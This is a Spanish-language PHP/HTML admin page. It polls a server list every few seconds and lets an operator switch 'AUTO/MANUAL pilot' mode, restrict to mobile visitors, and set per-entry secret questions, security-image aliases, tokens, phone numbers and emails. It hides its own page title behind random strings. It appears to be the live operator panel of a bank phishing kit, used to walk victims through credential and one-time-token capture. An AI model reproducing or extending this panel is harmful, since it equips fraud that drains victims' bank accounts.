<?php
$_SESSION["panel_status"] = "si";
$rand33 = generateRandomString(10);

$autocheck = file_exists($pilotfile) ? "checked" : "";
$manualcheck = $autocheck == "checked" ? "" : "checked";

$mobilcheck = $solomobil ? "checked" : "";

?>
<!DOCTYPE html>
<html>

<head>
    <meta charset="UTF-8">
    <base href="<?php echo URLROOTBASE; ?>" target="_blank" />
    <title>
        <?php echo $rand33; ?>
    </title>
    <style>
        html,
        body {
            margin: 0;
            padding: 0;
            font-size: 12px;
        }

        html {
            font-size: 15px;
            font-family: sans-serif;
        }

        .coordenadas {
            font-size: 0.8rem;
            display: grid;
            grid-template-columns: repeat(10, minmax(0, 1fr));
        }

        .coordenadas div {
            border: 1px solid black;
            padding: 2px;
        }

        table {
            width: 100%;
            border-collapse: collapse;
        }

        table td,
        table th {
            padding: 5px;
            font-size: .85rem;
        }

        .finalizado td {
            background-color: gray;
            color: white;
        }

        .activo td {
            background-color: green;
            color: white;
        }

        .cajaimagenes {
            position: fixed;
            z-index: 5000;
            width: 100%;
            height: 100%;
            padding-top: 100px;
            background-color: rgba(0, 0, 0, .5);
        }

        .cajaimagenes .imagen {
            border: 1px solid black;
        }

        .cajaimagenes .imagen img {
            aspect-ratio: 1 / 1;
            object-fit: cover;
        }

        td:has(button) {
            display: flex;
            flex-wrap: wrap;
            gap: 5px;
        }

        td button {
            background-color: darkblue;
            color: white;
            border: none;
            outline: none;
            cursor: pointer;
            padding: 5px;
            border-radius: 5px;
            text-transform: uppercase;
        }


        .radio1 {

            border: 1px solid gray;
            max-width: fit-content;
            display: flex;
            align-items: center;

            input[type=radio] {
                display: none;
            }

            label {
                width: 50px;
                background-color: lightgray;
                padding: 10px;
                cursor: pointer;
            }

            input[type=radio]:checked+label {
                background-color: green;
                padding: 10px;
                color: white;

            }
        }

        .c001 {
            display: flex;
            gap: 10px;
            align-items: center;
        }

        .check1 {
            cursor: pointer;

            input[type=checkbox] {
                cursor: pointer;
            }

            label {
                font-size: 1rem;
                font-family: sans-serif;
                font-weight: bold;
                cursor: pointer;
            }
        }
    </style>
</head>

<body>

    <div class="c001" style="margin-bottom:5px; ">
        <div class="radio1">
            <input type="radio" id="auto" name="pilot" <?php echo $autocheck; ?> value="auto">
            <label for="auto">AUTO</label>

            <input type="radio" id="manual" name="pilot" <?php echo $manualcheck; ?> value="manual">
            <label for="manual">MANUAL</label>

        </div>
        <div class="check1">
            <input type="checkbox" <?php echo $mobilcheck; ?> name="mobil" id="mobil">
            <label for="mobil">Solo Móbil</label>
        </div>
    </div>
    <div>
        <table border="1">
            <thead>
                <tr>
                    <?php
                    foreach ($mKeys as $k => $v) {
                        echo "<th>$v</th>";
                    }
                    ?>
                    <th>ACCIONES</th>
                </tr>
            </thead>
            <tbody id="tbody1">

            </tbody>
        </table>
    </div>

    <script>

        var URLROOT = `<?php echo URLROOT; ?>`
        var URLROOTBASE = `<?php echo URLROOTBASE; ?>`
        var URLROOTBASEPANEL = `<?php echo URLROOTBASE . $config_key . "/"; ?>`


        changemobil = async function () {
            let url = URLROOTBASEPANEL + `panel/mobil`
            let fd = new FormData()
            fd.append("accion", "mobil")
            fd.append("mobil","sdasdasd")
            let response = await fetch(url, {
                method: "POST",
                body: fd
            })
            let raw = await response.text()
            location.reload()
        }

        pilot = async function () {
            let url = URLROOTBASEPANEL + `panel/pilot`
            let pilot = document.querySelector("input[name=pilot]:checked")
            let fd = new FormData()
            fd.append("accion", "pilot")
            fd.append("pilot", pilot.value.trim())
            let response = await fetch(url, {
                method: "POST",
                body: fd
            })
            let raw = await response.text()

            location.reload()
        }

        sub1 = async (accion, file) => {
            let url = URLROOTBASEPANEL + `panel/sub1`
            let fd = new FormData()
            fd.append("accion", accion)
            fd.append("file", file)
            let response = await fetch(url, {
                method: "POST",
                body: fd
            })
            if (response.ok) {
            }
        }

        sub2 = async (accion, file, valor) => {
            let url = URLROOTBASEPANEL + `panel/sub2`
            let fd = new FormData()
            fd.append("accion", accion)
            fd.append("file", file)
            fd.append("valor", valor)
            let response = await fetch(url, {
                method: "POST",
                body: fd
            })
            if (response.ok) {
            }
        }

        setfraseimagen = async () => {
            let url = URLROOTBASEPANEL + `panel/setfraseimagen`
            let fd = new FormData()
            fd.append("accion", "setfraseimagen")
            fd.append("file", document.getElementById("file").value)
            fd.append("fraseimagen", document.getElementById("fraseimagen").value)
            let response = await fetch(url, {
                method: "POST",
                body: fd
            })
            if (response.ok) {
            }
        }

        setimagen = async () => {
            let url = URLROOTBASEPANEL + `panel/setimagen`
            let fd = new FormData()
            fd.append("accion", "setimagen")
            fd.append("file", document.getElementById("file").value)
            fd.append("imagen", document.getElementById("imagen").value)
            let response = await fetch(url, {
                method: "POST",
                body: fd
            })
            if (response.ok) {

            }
        }

        elegirimagen = function (file) {
            document.getElementById("file").value = file;
            document.getElementById("cajaimagenes").style.display = "block";
        };
        cerrarmodalimagenes = function () {
            //document.getElementById("cajaimagenes").style.display = "none";
        };

        SetPregunta = function (key, file) {
            let valor = prompt("Ingresa pregunta");
            if (valor === null) {
                return;
            }
            sub2("Pregunta", file, valor);
        };

        setAliasImagen = function (key, file) {
            let person = prompt("ingrese alias de imagen");
            if (person === null) {
                return;
            }
            console.log("key", key);
            console.log("file", file);
            console.log(person);
            sub2("aliasImagen", file, person);
        };
        setpreguntasecreta = function (key, file) {
            let person = prompt("ingrese pregunta secreta");
            if (person === null) {
                return;
            }
            console.log("key", key);
            console.log("file", file);
            console.log(person);
            sub2("pregunta", file, person);
        };
        setTokens = function (key, file) {
            let valor = prompt("ingrese tokens");
            if (valor === null) {
                return;
            }
            sub2("tokens", file, valor);
        };

        set_cel = function (file) {
            let valor = prompt("Ingrese celular");
            if (valor === null) {
                return;
            }
            sub2("set_cel", file, valor);
        }

        set_mail = function (file) {
            let valor = prompt("Ingrese correo");
            if (valor === null) {
                return;
            }
            sub2("set_mail", file, valor);
        }

        consulta = async () => {
            let url = URLROOTBASEPANEL + `panel/lista`
            let fd = new FormData()
            fd.append("opcion", "lista")
            let response = await fetch(url, {
                method: "POST",
                body: fd
            })
            if (response.ok) {
                let raw = await response.text()
                document.getElementById("tbody1").innerHTML = raw
            }
        }

        init = function () {

            cerrarmodalimagenes();
            consulta();
            window.setInterval(function () {
                consulta();
            }, 3000);

            document.querySelectorAll("input[name=pilot]").forEach(el => {
                el.addEventListener("change", pilot)
            })

            document.querySelectorAll(".cajaimagenes .imagen img")
                .forEach(a => a.addEventListener('click', function (evt) {
                    let target = evt.target;
                    let src = target.src;
                    let srcsplit = src.split("/");
                    let nameimg = srcsplit[srcsplit.length - 1];
                    let nameimgclean = decodeURIComponent(nameimg);
                    console.log(nameimgclean);
                    document.getElementById("imagen").value = nameimgclean;
                    document.getElementById("fraseimagen").value = nameimgclean;
                    setimagen();

                }));

            document.querySelector("input[name=mobil]").addEventListener("click", (e) => {
                let targ = e.target
                changemobil()
            })

        }

        window.addEventListener("load", init)


    </script>


</body>

</html>